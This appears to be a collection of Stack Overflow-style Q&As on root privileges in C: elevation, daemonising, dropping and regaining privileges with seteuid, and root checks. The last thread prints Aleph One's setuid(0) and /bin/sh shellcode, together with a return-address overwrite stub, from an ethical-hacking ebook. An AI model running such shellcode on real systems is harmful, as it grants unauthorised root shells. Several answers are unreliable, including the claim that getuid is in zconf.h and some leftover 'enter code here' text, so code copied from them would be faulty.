So I have a very simple code snippet, which simply checks if the process is running as root:
int main()
{
if(getegid() == 80 || setegid(80) == 0){
printf("We are root\n");
}else{
printf("We are not root\n");
}
return 0;
}
I want to elevate to root "automatically" by asking the user password through a GUI. Using the terminal (or just asking the user to re-run the program with sudo) is not an option unfortunately.
Similarly, the answers posed in this question are also not suitable, as this is using objective C, not C, and requires the Xcode tools, which I would prefer to not have the user have to install. This question is closer, but also assumes Objective-C, and the SMJobBless examples do not seem to exist for C(?).
What are my options for achieving elevation to root under the specified restrictions?
Related
I write an xlib C application. I need different behavior of it, depending if it running with xinit ./myapp from CLI when no X server started, from running in normal KDE desktop.
argv[0] returns same value in both cases (i.e. not sees xinit prefix).
How i can determine when xinit was used for starting my app?
Thanks for comments. I do not know how to describe my task more precisely, not really i need about exactly xinit (or X server or so). Maybe yes i need to know is Window manager is running. In fact i just need to determine if kwin's color inversion is active (and this is answer why i need to detect, even when i know that A X program should not have to care under which window manager it is displayed. in URL above). But it is quite complex to determine inversion exactly. But because inversion is turned on permanently in KDE for me, i can maybe test for Window manager is running...
Currently, using suggested solution, i was able to solve it at least for my particular case. But not sure if it portable enough.
fp = popen("/usr/bin/xprop -root _NET_SUPPORTING_WM_CHECK", "r");
if (fp == NULL) {
printf("Failed to run `/usr/bin/xprop -root _NET_SUPPORTING_WM_CHECK`\n" );
exit(1);
}
fgets(cmdout, sizeof(cmdout), fp);
pclose(fp);
i = strncmp(cmdout, "_NET_SUPPORTING_WM_CHECK(WINDOW): window id #", 40);
if (i == 0) {
inverted_colors = 1;
printf ("Window manager detected.\n");
} else {
inverted_colors = 0;
printf ("No window manager detected.\n");
}
Hi I am new to the linux environment. I am trying to create daemon process.
#include<stdio.h>
int main()
{
int a=10,b=10,c;
c=sum(a,b);
printf("%d",c);
return (0);
}
int sum(int a,int b)
{
return a+b;
}
I want to create daemon process of it. May i know how can do this? Any help would be appreciated. Thank you.
A daemon generally doesn't use its standard input and output streams, so it is unclear how your program could be run as a daemon. And a daemon program usually don't have any terminal, so it cannot use clrscr. Read also the tty demystified page, and also daemon(7).
I recommend reading some good introduction to Linux programming, like the old freely downloadable ALP (or something newer). We can't explain all of it here, and you need to read an entire book. See also intro(2) and syscalls(2).
I also recommend reading more about OSes, e.g. the freely available Operating Systems: Three Easy Pieces textbook.
You could use the daemon(3) function in your C program to run it as a daemon (but then, you are likely to not have any input and output). You may want to log messages using syslog(3).
You might consider job control facilities of your shell. You could run your program in the background (e.g. type myprog myarg & in your interactive shell). You could use the batch command. However neither background processes nor batch jobs are technically daemons.
Perhaps you want to code some ONC-RPC or JSONRPC or Web API server and client. You'll find libraries for that. See also pipe(7), socket(7)
(take several days or several weeks to read much more)
First find what are the properties of daemon process, as of my knowledge a daemon process have these properties:
Should not have any parent (it itself should be parent)
Process itself is a session leader.
Environment change to root.
File mode creating mask should be zero.
No controlling terminal.
All terminal should be removed
Should not be un-mounted .
Implement the code by considering above properties which is
int i=0;
int main()
{
int pid;
pid=fork();
if(pid!=0) {
/** you can add your task here , whatever you want to run in background **/
exit(0);
}
else
{
setsid();//setting sessions
chdir("/");//root.. should'nt beunmounted
umask(0);
close(0);//all terminal are removed
close(1);
close(2);
while(1)
{
printf("i = %d \n",i);
i++;
}
}
return 0;
}
or you can go through man page of daemon()
int daemon(int nochdir, int noclose);
I hope it helps.
Instead of writing the code to make the C program a daemon I would go with an already mature tool like supervisor:
http://supervisord.org/
I think this below will work
screen cmd arg1 arg2
You can also try
nohup cmd arg1
I have a process with permissions 4750. Two users exist in my Linux system. The root user and the appz user. The process inherits the permissions of a process manager that runs as "appz" user.
I have two basic routines:
void do_root (void)
{
int status;
status = seteuid (euid);
if (status < 0) {
exit (status);
}
}
/* undo root permissions */
void undo_root (void)
{
int status;
status = seteuid (ruid);
if (status < 0) {
exit (status);
}
status = setuid(ruid);
if (status < 0) {
exit (status);
}
}
My flow is the following:
int main() {
undo_root();
do some stuff;
do_root();
bind( port 80); //needs root perm
undo_root();
while(1) {
accept commads()
if ( commands needs root user access)
{
do_root();
execute();
undo_root();
}
}
As you can see I want to execute some commands as root. I am trying to drop permissions temporarily and if the tasks needs root access I wrap the command between a do_root and undo_root call.
However it seems that my program is not working.
What is the canonical way to do it?
The old-school way is to in both do_root and undo_root to use setreuid() to swap ruid and euid:
setreuid(geteuid(), getuid());
This is perfectly acceptable if the program is small enough to do a complete security audit.
The new-school way is far more complex and involves fork()ing off a child that accepts directives for what to do as root and then doing setuid(getuid()) to drop root permanently in the parent.. The child is responsible for validating all directives it receives. For a large enough program, this drops the amount of code that must be security audited, and allows the user to manage the process with job control or kill it, etc.
There is a paper 'Setuid Demystified' by Hao Chen, David Wagner, and Drew Dean. It was presented at USENIX 2002. It describes how setuid() and transitions work in great detail (correct as of 2002). It is well worth reading (several times - I must be a year or two overdue on a re-read of it).
Fundamentally, as Petesh noted in a comment, when a process with EUID 0 does setuid(nuid) with nuid != 0, there is no way back to root (EUID 0) privileges. And, indeed, it is vital that it is so. Otherwise, when you login, the root process that logs you in could not limit you to your own privileges - you'd be able to get back to root. Saved UID complicates things, but I don't believe it affects the one-way trap of EUID 0 doing setuid().
The setuid man page says the following:
... a set-user-ID-root program wishing to temporarily drop root
privileges, assume the identity of a non-root user, and then regain
root privileges afterwards cannot use setuid()
Meaning that you cannot use setuid(). You have to use seteuid() and, possibly, setreuid(). See Setuid Program Example for more details.
How can I verify if the user is root?
Usually it's a mistake to test if the user is root. POSIX does not even require a root user, but leaves it to the implementation to determine how permissions work. Code such as:
if (i_am_root) do_privileged_op(); else print_error();
will really annoy users with advanced privilege models where root is not necessary to perform the necessary privileged operations. I remember back in the early days of cd burning on Linux, I had to hack all over the cdrecord source to remove all the useless checks to see if it was running as root, when it worked just fine with permission to read /dev/sga.
Instead, you should always attempt the privileged operation you need to perform, and check for EPERM or similar if it fails to notify the user that they have insufficient privileges (and perhaps should retry running as root).
The one case where it's useful to check for root is checking if your program was invoked "suid-root". A reasonable test would be:
uid_t uid=getuid(), euid=geteuid();
if (uid<0 || uid!=euid) {
/* We might have elevated privileges beyond that of the user who invoked
* the program, due to suid bit. Be very careful about trusting any data! */
} else {
/* Anything goes. */
}
Note that I allowed for the possibility (far-fetched, but best to be paranoid) that either of the calls to get uid/euid could fail, and that in the failure case we should assume we're suid and a malicious user has somehow caused the syscalls to fail in an attempt to hide that we're suid.
getuid or geteuid, depending on what you really mean. In either case, 0 means root.
#include <stdio.h>
#include <unistd.h>
if (geteuid() != 0) {
fprintf(stderr, "App needs root\n");
exit(1);
}
The point made by R is valid. You should consider trial and error, or another approach that does not explicitly require root.
better to use getuid or geteuid but it is in zconf.h header file and you must enter that like bellow :
#include <zconf.h>
#include <stdio.h>
int main()
{
int a;
a=getuid();
//or you can use a=geteuid();
//euid is effective user id and uid is user id
// both euid and uid are zero when you are root user
if (a==0){
printf("you are root user");
//so you can do what`enter code here`ever `enter code here` you want as root user
}
else
printf("please run the script as root user !");
return 0;
}
I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
I give this the super user privileges, with
chmod u+s shellcode
as a super user, then go back to normal user with
su - normal_user
but when I run ./shellcode I should be a root user but instead I still be normal_user
so any help??
btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...
If this is an old exploit... Shouldn't it have been already fixed long ago?
By the way, as a personal advice: don't be so lame to use that nickname and then go around asking about exploits.
Is the shellcode executable owned by root? The setuid bit (u+s) makes the executable run with the privileges of its owner, which is not necessarily root.
Well, setuid() changes the user for the currently running program. Your Shell will still be running under your normal user! :)
Either that, or I don't get this hack's purpose.
I think setuid only sets the uid to 0 while the program is running. Can you perform some operation to check the UID while the shellcode is running?
If I get it right, the code you are executing (setuid(0)) is a System Call that changes the current user to the root. The catch is that it's changing the current user id over that process, giving that process root authority. If it is working you could run anything with root privileges.
To test it, create a file or directory with the root, make sure you can't remove it as a simple user, and then try adding code to your executable that removes the file. If the code is working, the file should be deleted.
Then, to gain root powers, try to fork to a new shell from within your program. I'm not sure if it's possible, though.
...however, this is an old exploit. Old kernels might be open to this, but using any recent release will do nothing at all.
UPDATE: I've just re-read the code and realized the call to the shell is there (/bin/sh), so you are already forking to a supposed super-user shell. To check if it's actually working, see the PID of your shell before and after the call. If it has changed, exit the shell, you should return to the previous PID. That means (1) it worked, you manipulated the stack and executed that code there, and (2) the exploit is fixed and the Kernel is preventing you from gaining access.